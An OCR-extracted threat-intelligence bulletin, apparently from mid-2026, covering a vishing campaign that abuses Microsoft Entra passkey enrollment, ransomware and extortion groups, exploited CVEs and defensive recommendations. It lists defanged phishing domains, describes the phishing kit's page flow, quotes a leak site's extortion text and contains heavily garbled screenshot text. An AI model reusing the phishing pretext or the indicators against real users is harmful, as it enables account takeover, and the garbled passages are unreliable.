grantfundingapplications[.]Jcom Jalisco Device Code Kit Domain
sessionopen0[.]site Jalisco Device Code Kit Domain
levaquin2us|.]top Jalisco Device Code Kit Domain

hxxps://WINGBOARD].]b-

cdn[.Jnet/PROOF%200F%20PAYMENT%2022TH[.]html GUIECEL Gl L

hxxps://file[.]kiwi/7ab7c290#z_n5Qh8kwioCUs8jQ6WWhw Omegalord URL
nuclear-rose-7cilcmmli-dpoaxolbhyxi[.]Jedgeone][.]app Phishing Domain
pebr-gl6z-0vzu-434xz[.]1b-cdn[.]net Phishing Domain
secure-folder-9f8a2983fbf5479e8d8c267e0df4e73d[.]3vvcompany[.Jcom Phishing Domain
116ec3alad128d7d[.]darkwebf[.Jworkers[.]dev Phishing Domain

» Pink Vishing Campaign Targeting Microsoft Entra Passkey Enrollment

Identified a voice phishing (vishing) campaign by the threat actor O-UNC-066 (Pink) targeting organizations using Microsoft
Entra ID and Microsoft 365. The attackers impersonate IT support staff and trick victims into enrolling attacker-controlled
passkeys through fake Microsoft Entra registration pages, enabling persistent account access without compromising the
cryptographic security of passkeys. The campaign has affected organizations across multiple sectors, highlighting that social
engineering remains effective even against phishing-resistant authentication methods.
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Threat Actor: O-UNC-066, a financially motivated cybercriminal group conducting vishing-based account takeover and data
extortion campaigns.

Target Verticals: Automotive, Aviation, Construction, Food and Beverage, Healthcare, Technology, Enterprise
Organizations, Government, Financial Services, and any organization utilizing Microsoft Entra ID and Microsoft 365 with
passkey enrollment enabled.

Threat Analysis: The campaign uses target-specific phishing subdomains that closely mimic Microsoft Entra ID login pages,
incorporating each organization's legitimate branding to increase credibility. Unlike traditional Adversary-in-the-Middle
(AitM) phishing kits, it relies on an operator-controlled PHP panel that interacts with victims in real time, adapting the
authentication flow to support various MFA methods, including TOTP, push notifications with number matching, and SMS-
based OTPs.

0 0 F )
O Q_o
o
THE CALL = THE FAKE PAGE > LIVE OPERATOR
Fake IT support phones the The victim is sent to a lookalike A human attacker steers the flow in
employee and says they must passkey page branded for their real time and adapts to the victim'’s

register a new passkey. company. MFA.

l
o O o .

THE TAKEOVER < THE DECOY < CREDENTIALS RELAYED
The attacker enrolls their passkey The victim performs fake passkey Password and MFA codes are
and moves to SharePoint or setup with a bogus recovery seed entered into the real Microsoft
OneDrive data theft. phrase. login by the attacker.

//I\\ The one rule that ends it:

\ IT never calls to walk you through enrolling a new credential. Hang up. Call back on a known number.

Attack flow

The first page of the phishing kit (/gate) reveals a page loading icon while the phishing kit performs anti-analysis checks.
The second page (/identify) requests a username. The phishing kit did not redirect to a federated Identity Provider at the
time of our analysis.

= Microsoft
Sign in
Email, phone, or Skype

No account? Create one!

Can't access your account?

O-UNC-066 Microsoft sign-in page, regenerated using code extracted from the phishing kit.
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The next page (/password) challenges the user for a password. The captured credentials are sent in a POST request with
a timestamp and Id to an operator panel at /backend.php.

«— j.doe@contoso.com

Enter password

Password

Forgot my password

O-UNC-066 Microsoft password challenge page, regenerated using code extracted from the phishing kit.

The assumption is that a phishing kit operator (which may be a different individual to the caller on the phone) captures
the credentials of the targeted user within a few seconds and enters them at the legitimate Microsoft sign-in page for the
targeted tenant.

next page of the phishing kit to present to the user.

e Ifthe operator chooses or is forced to complete an SMS OTP challenge, the user is directed to a page called /submit-
otp. The captured OTP is sent in a POST request to the operator panel at /backend.php.

e If the operator chooses or is forced to complete a TOTP challenge, the user is directed to a page called /submit-
authenticator. The captured OTP is sent in a POST request to the operator panel at /backend.php.

e |f the operator chooses or is forced to complete a Push MFA challenge, the user is directed to a page called
/approve-authenticator (see image below) and asked to enter the number supplied by the operator into their
authenticator app.

- ) B8 Microsoft
ey ﬂ @ Microsoft
a2 icroso Save your recovery key

Write down these 12 words in order and keep them

j.doe@contosoc.com somewhere safe. You'll need them to confirm your
passkey.

Approve sign in request Set up a passkey e = amber

Open your Authenticator app, and enter the number Your organization requires you to register a passkey

shown to sign in. to keep your account secure. i M2zt e

. " igeon juartz saddle
Passkey registration v 4

¢ Save your recovery key to finish enrolling this dmber volvat waknat
device
K
No numbers in your app? Make sure to update Continue

O-UNC-066 MFA challenge page regenerated using code extracted from the phishing kit.

At this stage of an attack, the user has been tricked over the phone into approving the attacker’s access to their Microsoft
365 account. In keeping with the passkey pretext, threat actors can then direct users to the /passkey/register page, which
asks the user to create a passkey.

The phishing kit exploits users' unfamiliarity with passkey registration by mimicking the legitimate Microsoft enrollment
process. Instead of creating a real passkey, it displays a fake Microsoft-branded page prompting victims to save an attacker-
controlled BIP-39 recovery phrase, resembling cryptocurrency wallet seed phrase generation.
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A subsequent /passkey/check page asks the user to verify the final word used in the seed phrase

m Microsoft : Microsoft

Confirm your recovery key

To confirm you saved it, enter word #12 from your V

recovery key.

Word #12 YOU'I'e a" set

Your account now meets your organization's
requirements.

O-UNC-066 campaign confirmation page, using code extracted from the phishing kit.

The phishing kit displays a fake "setup complete" page to reinforce the illusion that the victim has successfully enrolled
their own passkey. In reality, the attacker registers an attacker-controlled passkey directly with Microsoft, while the
phishing page serves only to convince the victim that the enrollment was legitimate and initiated by them.

Since April 2026, a threat actor linked to O-UNC-066 has operated a data leak site with the name Pink.

WHO ARE WE

A short introduction,

We are a financially motivated group. Security, as you are undoubtedly aware, is an
expensive undertaking, particularly when it has been neglected for some time. Our
only goal is profit, that is our one and only motivation. We know what your data is
worth, and we expect to get our value out of it. We believe it would be in everyone's

interest to have a productive discussion, especially before your customers and the
broader public have an opportunity to form their own conclusions about your data
storage practices.

We will work with you to make sure further incidents don't happen down the line if
you decide to pay what we're worth.

VERIFY

Make sure it's really us.

In case of impersonation, you may ask us to sign a message with one of these
PGP keys. If the signature doesn't verify, it isn't us.

© copy Backup key — backupapink © Copy

DHE ahutXR' wOTASTSTLY 3ACOPNOhL JekXBCLDL
KpazBr B 1 IVEEXY. BxMUbAZJCt
q1jr JABINARUL VCGKICUIEFgIDAQIEAQT

2jCtAl jrPIrRAQDNIVESKYX/ 2T e9£aN+IDKEF tH1q 8BSTALAVYSIUVBGD+IVGL
H2L:
AQAAAIPYDLTALULLn. #IuTn3601ZCF HAEGBYIACYY
I00%HoYS3xD1HEBxHUbAZ jCLALS rPAUCahutKQIbDAUIABINARAKCRDA2 JCLAL jx

PIacAPAggxvIdk7ker905Ca28510K THhIEALFHHNG ) TKLKYP?uD +HSLHZppxJirl

mDHEahutZR
hJrvByKBFGIhY2t1cCABYRF ja3VaQHBpbas+1iIVEEXYIADAYIOQdhKGNC3s +rdqU
yyhky IABINAAUL gKICWIEFgII

Hky Je-+cf I3KLL 3€ 1ETJa/uqtQbDPYK
ADIEINVIICE jcouiodYiSKSOZ1¥ePUT IzN2k+SaHC T630eA0ARGEE11EGOrBGEE
AZAUAQUBAQAAETqtkO01KgVr T30 +¥FLBC3rK1vDDrseaVp?iRulpBluDATgHIHAE
GBYIACYY Je+QUCahutZQIbDAUIABINARAKCRCY
QyyhkyJesT TH+YUg PLIE/b:

The Pink DLS (data extortion) site

JIKRE tvgo/ARIRASTT
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Infrastructure
Threat actors were observed creating subdomains for any given targeted entity under the following domains:

e assignpasskey[.]Jcom (2026-06-14, Internet Domain Service BS Corp., DDoS-Guard)
o deploypasskey[.]Jcom (2026-04-21, Tucows, DDoS-Guard)

e passkeydeploy[.]com (2026-04-23, Internet Domain Service BS Corp, DDoS-Guard)
e passkeyadd[.]Jcom (2026-05-08, Tucows, DDoS-Guard)

e setpasskey[.]Jcom (2026-05-23, IQWeb FZ-LLC)

So a campaign targeting "ABCcompany" might be something like: ABCcompany[.]setpasskey[.]Jcom

The phishing infrastructure observed was hosted on DDoS-Guard (AS57724, Russia) and IQWeb FZ-LLC (AS59692, US).

» The Gentlemen Ransomware Campaign

The Gentlemen is a financially motivated Ransomware-as-a-Service (RaaS) operation that emerged in late 2025 following
a public dispute between its suspected administrator, known as hastalamuerte (also observed using the alias zeta88), and
members of the Qilin ransomware affiliate program. Shortly after the dispute, the actor launched an independent
ransomware operation and began actively recruiting affiliates through underground cybercriminal communities.

Threat Actor: The Gentlemen (also tracked by Microsoft as Storm-2697), a financially motivated Ransomware-as-a-
Service (RaaS) operation with reported ties to former Qilin (ArmCorp) affiliates.

Target Verticals: Manufacturing, Healthcare, Government, Energy, Financial Services, Telecommunications, Transportation,
Critical Infrastructure, Technology, Education, Retail, and Enterprise Organizations worldwide.

I @ COMMON VULNERABILITIES AND EXPOSURES (CVEs) I

@ ACTOR PROFILE

Aliases
+ The Gentlemen Ransomware Group ¢
* The Gentlemen
CVE-2024-55591 CVE-2025-32433 CVE-2025-33073 CVE-2025-55182 CVE-2025-7771
E d Fortinet's FortiOS Erlang/OTP Windows SMB React2Shell ThrottleStop.sys
merge! and FortiProxy SSH server Client driver
RANSOMWARE st
e\
I (¥¥) KNOWN TOOLS USED I
Type -

Ransomware-as-a-Service (RaaS) ‘>

AnyDesk

[

Advanced
IP Scanner

(&)

MOTIVATION ICACLS Nmap PowerRun

glla TARGETED INDUSTRIES

across every major continent

@ Healthcare Services

57 £ Business Services @) tnsurance
B —
<5 — il L/
0 [N Construction flog Manutacturing [=(w|
L a2
4 ~*J $ia Consumer services Gl RealEstate PowerShell PsExec PUTTY :”'"‘“0"45 “‘“i"ﬂgfx;':; WinSCP
\ instrumentation
B A\ S Education lﬁl
g N Retail N
Ny gy («H\\ KNOWN INFECTION VECTORS
“ P Software
Finance P
% ' X E— (! Ifi® J
B " % Govern: iment
Q Victims in over 50 countries FINANCIAL GAIN 39 Transportation “ M

Exploitation of
Public-Facing
Applications

Comp om sed VPN Access

Abuse

Remote Desktop

Reishing Protocol (RDP) Access

Analysis of leaked internal communications indicates that The Gentlemen operates a structured affiliate-based business
model that combines credential acquisition, remote access abuse, ransomware deployment, and double-extortion tactics.
The group advertises an affiliate profit-sharing arrangement of up to 90%, positioning itself as an attractive alternative to
more established ransomware programs.
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0pT I COOBUMN 4TO BHE N2

NoTom war nponan swobe. (8

T 664 NOTENAN CTOPOHOR KANMHA. XOTHM BOSMELEHHS 1) i PG MIHYC X
A PG WS IUTAME MO 2 13 20 PEKOS NAATHT , Hy BOT IT0 Mof 6 amuiil Coryait

AM 1O HARO , O W CROE TEPATE CHITARM HENCIBOMMTENLHLM . TaX %@ HET GONEe YREPEHHOCTH 4TO OCTANMHIWE NEPErOROPH! He BEAYTCH 8 0GXOA

TOM NPW HEOBXOAMMOCTH, NEPENICKA TYT C haise (KAK NOHIMAID NPEACTABHTEN NN) . HE XOTENK BLIMOCKTE Ha NAG/K . HO HHAYE BONDOC He

e OTRANEMCR O KOMMENTAPHES AIMCTOR NO YAANEHMO NEPENHCOX B TOKCE

POLTy PACCMOTPET OTEDMITIIA APGHTDAX Mepenicxy B TOKCE | ABTY NO LW NPEAOCTABMM B Ny Bam

Attachments

Forum Post by “hastalamuerte” Discussing Internal Communications Leak
The Gentlemen's RaaS

SUPERMARKET. > Affiliate.

The Gentiemen
RaaS MpUrAAWAEM K COTPYARMUECTEY KOMAHABI M HHAHEHAYANbHBIX NEHTECTEPOR.

-

loined Sep 21, 2025

« B 3anucKe KOTOPYIO NPOM3BOAMT NIOKEP yKa3aHb! Ballu AaHHbie - Tox , Session , etc.
« Bbl MOIHOCTLIO KOHTPO/IMpYETE NpPOoLecc NeperoBopoB C Uenbio.

* MuHMMansLHan HHPPaCcTpyKTypa cepeuca (DLS + Tox) rapaHtupyeT 6e30nacHOCTL aPPMAHATOB M COKPALIAET aTaKyeMyI0 NOBEPXHOCTL.

The Gentlemen RaaS Affiliate Recruitment Advertisement

The platform also included mechanisms for creating and tracking victim engagements, further supporting the assessment
that The Gentlemen operates as a mature affiliate-driven ransomware business rather than an informal criminal collective.

Build New Target

Target Creation Interface within The Gentlemen Raa$ Portal
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Leak Site Operations: The Gentlemen operates both Tor-based and clear-web leak sites that serve as platforms for public
victim disclosures and extortion activities. The leak sites contain victim names, industry information, and descriptions of
allegedly stolen data. Victim entries are frequently accompanied by countdown timers indicating when stolen information

may be publicly released if negotiations fail.

The Gentlemen operates both Tor-based and clear-web leak sites that serve as platforms for public victim disclosures and

extortion activities.

The leak sites contain victim names, industry information, and descriptions of allegedly stolen data. Victim entries are
frequently accompanied by countdown timers indicating when stolen information may be publicly released if negotiations
fail.

CENTLEMEN

Darkweb Extortion site of The Gentlemen

GENTLEMEN

Win/Linux/
ESXi

Partnership announcement between BreachForums and The Gentlemen
For support & expand Ransomware-as-a-Service through dark web
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» Everest Ransomware Group Claims Breach

Everest is a ransomware group active since late 2020, known for its double-extortion operations. Initially focused on file
encryption, the group has increasingly shifted toward data extortion, threatening to leak stolen information without
deploying ransomware. Everest targets organizations across sectors including government, healthcare, manufacturing,
and IT, using phishing, stolen credentials, and exploitation of public-facing vulnerabilities for initial access, while operating
a Tor-based leak site to publish stolen data.

Recently, The Everest ransomware group has claimed responsibility for a cyberattack targeting Al-Futtaim, one of the
Middle East’s largest business groups. According to the threat actor, approximately 307 GB of data, containing more than
161,000 files, was stolen during the alleged breach. At the time of publication, these claims have not been independently
verified by Al-Futtaim or other trusted sources.

The ransomware group alleges that the stolen information includes corporate and financial records, human resources files,
customer information, identity documents, SAP data, email archives, engineering drawings, and operational
documentation.

Below are the engagements of the group as of 04/08/2026,

495 21 22%

POSTS {ALL TIME) LAST 30 DAYS AS DAYS AVG UPTIME 30D

44. Everest Group @ Chronicle B Leaked DBs ® About

Chronicle e Al-Futtaim Group

@& e
6'352 OPENS

Advanced Psychiatry Associates

Sidra Kuwait Hospital The files will be published after the timer counts

down. The company still has time to get in touch

& This post unlocks when the timer ends

PM
07 15 58 04

Asnpagos S.A.

o AKM Enterprises INC with us

@ LEP Aesthetics _ alfuttaim.com 307 GB DataBase

Everest’s post in the dark web, indicating Ransom warning against Al-Futaim

While the recent Al-Futaim data breach has drawn significant attention, it is important to recognize that Everest has
compromised numerous organizations across a wide range of industries over the years. The group's victim list spans
government agencies, healthcare providers, financial institutions, manufacturers, and technology companies across
multiple regions. Below are a few notable organizations that have been publicly identified on Everest's data leak site or
linked to its operations, demonstrating the group's extensive targeting and operational reach.
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7 3 SR R R J‘ f _____ 4( Formulatrix @
asis Legal Group AT 2 posts
posts
@ AKM Enterprises INC | L JoN 10
\

N o |

fol=ee
Conway Analytics ‘& = ____,| Greenbotz \
3 posts guby - 2 posts /

NIMR Oil TechCorr @

Rodschinson Investment |, __
2 posts ‘

1 posts

Allied Telesis

Dharma Group i~
2 posts

Emirates Flight Catering
2 posts

____qo Alzone Software
2 posts

Rx Networks
2 posts

Al-Futtaim Group
2 posts

i
JUL22 B ‘:4..‘ Ingersoll Rand
W 2 posts

I
}
o=
e Omnicell
2 posts

JUL 22 R cle
i 2 posts

{__e| Ingersoll Rand
2 posts

Below are few of the posts by Everest in their dark web portal for ransom targeting on various organizations.

& Everest . S ; & 44, Everest {8 Chronicle
Chronicle Chronicle @ Ingersoll Rand

Stadler Rall .‘
2 5,643

Advanced Psychiatry Associates
., Mansfleld Family Dentistry

e P " The files will be published after the timer counts
down. The company still has time to get in touch

‘ AKM Enterprises INC with us

Powerweave

Omnicell

EPM
02 15 o8

Asopagos S.A.

@ Ingersoll Rand

L&P Aesthetics . irco.com T8 GB Database
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Stadler Rail

Mansfield Family Dentistry

Powerweave

Omnicell

Ingersoll Rand

A, ol @ Chronicle

Chronicle

Stadler Rail

Mansfield Fa

Powerweave

Ingersoll Rand

Aptara

44, Everest i Chronicle

Chronicle

Stadler Rail

Mansfield Family Dentistry

[

Omnicell

Ingersoll Rand

Aptara

44, Everest

Chronicle

Stadler Rail

Mansfield Family Dentistry

Powerweave

Omnicell

Ingersoll Rand

@ Rx Networks

tests, road-test results, manitoring documentation and presentations
prepared for customers and ION GNSS+

The product and service environment includes location.io, GPStream
GRN, GPStream PGPS, XYBRID RT, XYBRID Synchre, XYBRID Cloud,
XYBRID SUPL LE, Quiney, Albany, Hector, E2 and ZED-related
technology.

GPStream materials cover real-time and predicted GNSS ephemeris
dellvery, HTTP Interfaces, RINEX interfaces, seed-data formats and
customer integration.

XYBRID materials cover hybrid positioning, cellular and Wi-Fi location,
real-time services, synchronization, cloud delivery and SUPL-based
assistance.

ZED materials Include a ba c development partnership
architecture documents, product briefs and a separate patent family.

3, Orbit, Clock and Extended Ephemeris Technology

Orbit and clock prediction is one of the technical areas in the archive.

O Powerweave

Request.

Not confirmed without the original file: actual vord values, order
numbers, names of individuals, addresses, invoice amounts, contract
text, medical fields, database contents.

A company name In a folder canfirms an operational assaciation with
the data, but does not always prove a direct contract. The entity may be
aclient, a supplier brand, a subcontractor, a test storefront, or a website
owner.

Completeness limitation. A total of 686 archives were not opened, and
890,179 entries inside archives have no identified size. The identified
companles, databases, emalls, and order records therefore represent a
minimum confirmed picture rather than an absolute maximum.

3. Pawerweave: Company Profile and Nalure of the Client Environment

Powerweave Group presents itself as a provider of digital
transformatien, e-cammerce, pracurement, ERP, and business services.
Its official website states that the group has more than 25 years of

@ erm

geo-analytics by branches

CARTERA_DIFERIDA pbix (27.4 MB) - Deferred debt: % of deferrals
segmentation by varlables, clustering, collection routes and priorities.

CMIL_CARTERA. pbix 8.92 MB) - Detailed CMI analysis: dynamics of CMI
by periods, segmentation by delinquency ranges, debt status, average
indicators and branches.

CMLINDICADORES_FULL.pbix (65415 M) - Full CMI indicatars modelz
complete debt control, clustering, forecasting of problematic clients,
geo-analytics

CMLINDICADORES_MOROSOS_FILIALES. phix (42,95 M8} - Overdue
clients by branches: trends of average indicators, segmentation by
services, branch control.

CMLINDICADORES_MOROSOS_RANGO_MORA.pbix (2.73 M8}
Delinquencies by ranges: trends in % of overdue debt, segmentation
and risk analysis by delinquency days.

. Formulatrix

TIE F1¥/ proGuCt-QIStTIDUNION 1ayer CONtains 19, 2655 Fies totaling 455./6
GB. The separate GilLab/source archive layer contains 19 GB and
Includes repositery-style archives with source code, bulld flles,
firmware, tests, datasets, Web/Ul flles, device definitions and
develcpment assets

Alarge portion of the malerials is linked to products and workflows used
in Iabaratory automation. The recurring product lines include FAS.T.,
FLO/FLO CELL, MANTIS, TEMPEST, RockMaker, Rockimager, SONICC,
FORMULATOR, NTB, uPULSE, AutoPulse, Rover, STACK, Scheduler
Carousel, Cellmatic, ReagentExchanger, MUVIS, dPCR and
Constellation.

The liquid-handling black contains files and repositories for automated
liquid transfer and dispensing. F.A.5.T. is connected to high-throughput
positive-displacement transfer. FLOJFLO CELL Is connected to
cenfigurable liguid-handling and cell-protocol workflows. MANTIS and
TEMPEST are connected to microfluidic and nen-contact dispensing
workflows, including assay development, GPCR plate praparation, cel
dispensing and high-throughput screening applicalion nates
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44, Everest

Chronicle . Omnicell

Oasis Legal Group
5,701
Formulatrix
The files will be published after the timer counts

down. The company still has time to get in touch
with us

Frost Bank
indonesia’s Customs Analytics Platform
Rehab Clinics Group Ltd

omnicell.com 1TB DataBase
Epiq Global

Parque Edlico Toabré - information about employees or associated individuals, and
Database Leaked other sensitive third-party data.

The archive also contains private and family materlals mixed
with business records. This includes photographs, family folders,

PT Brantas Abipraya - real estate documents, property records and other personal
Database Leaked materials

Straight Line Logistics -
Database Leaked
@36523 B
First Priority Group -
Database Leaked
oy
Hyundai Elevator -
Database Leaked
@68 o
@R UD Trucks - Database
Loaked
@i
[f| McDonaids india -
Database Leaked
@ssic7

Bolttech - Database
Leaked

44, Everest G0 & Chronicle

Chronicle . AKM Enterprises INC

@ Epiq Global
11,318

TSYS

akm-ai.com 94 GB DataBase

cllent, and commerclal information related to oll and gas drilling, RTOC /

Liberty Mutual Insurance remate driling operations, well planning, directional driling, driling

Symeer
The data represents a large body of intemal technical, operatianal

analytics, and support for upstream oil and gas clients.
VVO Finance The Index file lists 90,543 flles with a total size of 94,15 GB,

The dataset covers well plans, driling procedures, daily drilling reports,
end-of-well reports, BHA reports, survey files, WITSML, XML and CSV
operational data, drilling performance charts, active well lists, rig and
client trackers, AFE and cost files, planning analysis materials, RTOC

Spedition Kern

It reps sue trackers, of ments, -
Advanced Psychiatry Assoclates healthcheck reports, issue trackers, enboarding documents, access

44, Everest Cic {8l Ghronicle

Chronicle »+ Oasis Legal Group

Rehab Clinics Group Ltd

11,555
Fiserv

The files will be published after the timer counts
Epiq Global down. The company still has time to get in touch
with us

TSYS soon
Symcor

Liberty Mutual | .
! ' Y Mulual Insurance oasislg.com DataBase

Pl (personal and Identification data)
VVO Finance
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Major Vulnerability & Exploit Intel

Enterprise Network & Infrastructure

[ Active SharePoint exploits expand beyond one bug J

CVE-2026-58644 is a remote code execution vulnerability in SharePoint (CVSS not specified) that allows attackers with Site
Owner-level access to run arbitrary code on a SharePoint server. Exploitation results from deserialization of untrusted data,
enabling full server compromise. Attackers are actively exploiting this vulnerability in the wild, and CISA also flagged CVE-
2026-32201, CVE-2026-45659, and CVE-2026-56164 as actively exploited. Mandiant/Google FLARE linked CVE-2026-56164
to real-world attacks. A security update is available, and impacted deployments include SharePoint Server 2016, SharePoint
Server 2019, and SharePoint Server Subscription Edition.

[ Hackers exploit FortiSandbox command injection bugs J

CVE-2026-25089 and CVE-2026-39808 are command injection vulnerabilities in Fortinet FortiSandbox appliances, both
with critical severity. Successful exploitation allows unauthenticated attackers to execute arbitrary commands on the
underlying server, turning malware-analysis appliances into entry points for broader compromise. Attackers are actively
exploiting these vulnerabilities in the wild, as confirmed by CISA. CISA added these flaws to its Known Exploited
Vulnerabilities catalog, highlighting their widespread use and targeting. Fortinet released updates in April and June 2026
to address the flaws. Affected products include FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS.

[ SharePoint bugs let hackers breach servers CVE-2026-32201, CVE-2026-45659, CVE-2026-56164) J

CVE-2026-32201, CVE-2026-45659, and CVE-2026-56164 are vulnerabilities in Microsoft SharePoint Server that allow
attackers to bypass authentication, execute code remotely, and maintain persistence. Exploitation of these CVEs can
result in data theft, unauthorized access, and malware deployment on high-value document repositories. Attackers are
actively exploiting these vulnerabilities in the wild. CISA added the CVEs to its Known Exploited Vulnerabilities Catalog on
April 14, July 1, and July 14, and Shadowserver reports nearly 10,000 internet-exposed SharePoint servers, with over 800
unpatched against CVE-2026-32201 and CVE-2026-45659. Microsoft has released patches and recommends enabling AMSI
integration and Microsoft Defender Antivirus detections; federal agencies must secure affected servers by July 17 under
Binding Operational Directive 26-04.

[ Actively exploited Microsoft ADFS and SharePoint bugs J

CVE-2026-56155 (insufficient access control in Active Directory Federation Services) and CVE-2026-56164 (missing
authentication in SharePoint Server) are server-side vulnerabilities with active exploitation. Successful exploitation can
grant attackers elevated access, leading to unauthorized data exposure and follow-on compromise. Attackers are already
exploiting these bugs in the wild. CISA added both CVEs to its KEV catalog, and Microsoft addressed them in the July 2026
Patch Tuesday updates. Organizations must apply the July 2026 updates, with a federal deadline of July 28, 2026, for CVE-
2026-56155. All environments running affected Microsoft services are at risk until patched.

[ bypass vulnerability in Palo Alto Networks PAN-OS GlobalProtect J

CVE-2026-0257 is a critical authentication bypass vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and
gateway, with a CVSS score not specified in the source. Successful exploitation allows attackers to establish unauthorized
VPN sessions and deploy Qilin ransomware. CVE-2026-0257 is actively exploited in the wild, exploitation beginning on May
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17 and intrusions involving registry Run keys, remote access tools, credential dumping, and lateral movement. Security
updates released on May 13 provide a fix, and response actions include terminating active GlobalProtect sessions, rotating
domain credentials, monitoring execution from C:\PerfLogs, and forwarding Windows Event Logs to a SIEM.

[ Microsoft July 2026 Patch Tuesday J

Microsoft's July Security Update addresses 663 vulnerabilities, including 59 Critical flaws and three actively exploited
zero-day vulnerabilities. The release resolves multiple Remote Code Execution (RCE), Elevation of Privilege (EoP),
Authentication Bypass, and Information Disclosure vulnerabilities affecting Windows, Microsoft Office, SharePoint, Hyper-
V, Active Directory Federation Services (AD FS), and other Microsoft products. Given the severity of these vulnerabilities
and the inclusion of several in the CISA Known Exploited Vulnerabilities (KEV) Catalog, organizations are strongly advised
to prioritize the immediate deployment of the security updates to reduce the risk of active exploitation.

Reference: https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul

Open Source & Enterprise Applications

[ CVE-2026-53359 | Linux KVM Guest-to-Host Escape J

CVE-2026-53359 is a critical guest-to-host escape vulnerability (CVSS 9.3) affecting Linux Kernel-based Virtual Machine
(KVM) environments. Successful exploitation allows an attacker to break out of a guest virtual machine, compromise the
underlying hypervisor, and execute arbitrary code on the host system, potentially leading to full host takeover and
compromise of other hosted virtual machines. Given the severity of vulnerability, organizations operating KVM-based
virtualization infrastructure should prioritize applying vendor-issued security patches and updates to mitigate the risk of
hypervisor compromise.

[ CVE-2026-43499 | GhostLock Linux Kernel Privilege Escalation J

CVE-2026-43499 (GhostLock) is a high-severity local privilege escalation vulnerability affecting the Linux Kernel's
rtmutex/futex Priority Inheritance implementation. Successful exploitation allows a local attacker to escalate privileges to
root, potentially leading to container escape and complete system compromise. The vulnerability has been publicly
disclosed, and Linux vendors have released backported security fixes. Organizations are advised to apply the available
patches promptly to mitigate the risk of privilege escalation and unauthorized system access.

[ CVE-2026-12184 | PHP TLS Stream Handling Denial of Service J

CVE-2026-12184 is a medium-severity vulnerability affecting PHP's TLS stream handling, caused by improper error
handling during TLS session initialization. An attacker can exploit this flaw to trigger application crashes, potentially
resulting in denial-of-service (DoS) conditions that disrupt the availability of PHP-based web applications. While no code
execution is involved, vulnerability can impact service reliability in environments using affected PHP versions. PHP has
released security updates for supported versions, and organizations are advised to apply the latest patches to mitigate
the risk.

[ Google Chrome Security Update (July 2026) J

Google Chrome Security Update (July 2026): Google has released an emergency update addressing 27 vulnerabilities,
including high-severity flaws in the V8 JavaScript engine. Exploitation could lead to browser compromise, arbitrary code
execution, sandbox escape, and credential theft. Organizations should promptly update all managed Chrome installations
to the latest stable version.
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‘ MITRE ATT&CK Mapping

A\

ATT&CK Tactic Techniques Observed Observed in July 2026

e 3 3 - Qilin VPN exploitation, Pink Vishing,
= T1566 Phishing, T1190 Exploit Public-Facing ] g
Initial Access * A Armored Likho phishing, JADEPUFFER
Application, T1133 External Remote Services 2N
Langflow exploitation

g i T1059 Command & Scripting Interpreter, T1204 User  BusySnake execution, PowerShell/Python
xecution
Execution abuse, Al-generated loaders

T1053 Scheduled Task, T1098 Account Manipulation,  BusySnake scheduled tasks, Router
T1505 Server Components persistence, Cloud account abuse

Persistence

- 1 T1068 Exploitation for Privilege Escalation, T1548 VPN appliance compromise, Router
Privilege Escalation

Abuse Elevation Control Mechanism privilege abuse, Cloud privilege escalation
A T1027 Obfuscated Files, T1140 De-obfuscation, PyArmor obfuscation, Anti-analysis
Defense Evasion ; : r - N, - \
T1218 Signed Binary Proxy Execution techniques, Legitimate administration tools

x Browser credential theft, Microsoft 365
y T1110 Brute Force, T1555 Credentials from Password )
Credential Access ) g token theft, BusySnake credential
Stores, T1556 Modify Authentication Process {
harvesting

Di T1082 System Information Discovery, T1018 Remote  Router reconnaissance, Enterprise
iscover
i System Discovery, T1046 Network Service Discovery  enumeration, Cloud asset discovery

T1021 Remote Services, T1570 Lateral Tool Transfer, VPN sessions, Remote administration,
Lateral Movement

T1550 Use Alternate Authentication Material Internal movement after compromise
Coliet T1005 Data from Local System, T1114 Email Browser data, Documents, Customer
ollection
Collection, T1530 Data from Cloud Storage databases, Cloud repositories

T1071 Application Layer Protocol, T1105 Ingress Tool = Telegram APl C2, Reverse SSH tunnels,
Command & Control

Transfer HTTPS-based C2 infrastructure
R T1041 Exfiltration Over C2 Channel, T1567 RapidFort data theft, Bank of Baroda
xfiltration
Exfiltration to Cloud Storage breach, Cloud repository exfiltration
| i T1486 Data Encrypted for Impact, T1499 Endpoint Ransomware encryption, DDoS campaigns,
mpac

DoS, T1531 Account Access Removal Data extortion, Public leak sites
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Recommendations

Cloud & Identity Security

Enforce phishing-resistant Multi-Factor Authentication (MFA) and adopt passkey-based authentication where
appropriate.

Monitor OAuth applications, authentication tokens, and Microsoft 365 sign-in anomalies.

Rotate exposed credentials, APl keys, VPN certificates, and cloud service accounts immediately after suspected
compromise.

Remember whitelisting rule for accessing internet facing production assets.

Apply least-privilege access across cloud identities, repositories, and CI/CD environments.

Delete cloud resources if not in use.

Prioritize remediation of internet-facing vulnerabilities, particularly VPN appliances, SharePoint, Active Directory
Federation Services (ADFS), Chrome, Fortinet, and network infrastructure devices.

Disable unnecessary management services, enforce secure router configurations, and replace default SNMP
credentials.

Continuously monitor for exploitation attempts against publicly exposed applications and network devices.
Maintain a comprehensive asset inventory and ensure internet-facing systems are regularly updated with the
latest security patches.

Adopt a Zero Trust approach by implementing least-privilege access, network segmentation, and periodic
reviews of user and service account permissions.

Strengthen email security controls to detect phishing, vishing, malicious attachments, and credential harvesting
campaigns.

Deploy Endpoint Detection and Response (EDR) capable of identifying credential theft, reverse SSH activity,
scheduled task abuse, and Python/PowerShell execution.

Conduct periodical phishing awareness training covering device-code phishing, passkey enrollment abuse, and
Al-generated social engineering techniques.
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| Appendix

Threat Actors Observed

Qilin Financial VPN exploitation, ransomware, double extortion
Armored Likho Espionage / Financial BusySnake malware, spear phishing

TeamPCP Financial Supply chain compromise, cloud data theft
JADEPUFFER Financial Al-driven ransomware and database extortion
Triple X Financial Data theft and public data leaks

FSB Center 16 Nation State (Russia) Router compromise and network persistence
East Asia-linked Threat Actor Espionage Government cyber espionage

O-UNC-066 Financial Microsoft 365 device-code phishing

Handala Hack Team Hacktivist Credential abuse and destructive attacks

Cyber Fattah / Killnet / NoName057(16) Hacktivist DDoS and hack-and-leak operations

Malware Families Observed

v

BusySnake Stealer Information Stealer

TELESHIM Backdoor

MIXEDKEY Loader / Reflective Loader
BINDCLOAK Backdoor

SharkLoader Loader

SharpGPOAbuse Post-Exploitation Tool

EKZ Infostealer Information Stealer
ModeloRAT Remote Access Trojan
Searchall Information Gathering Tool
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ADFS
AITM
AMSI
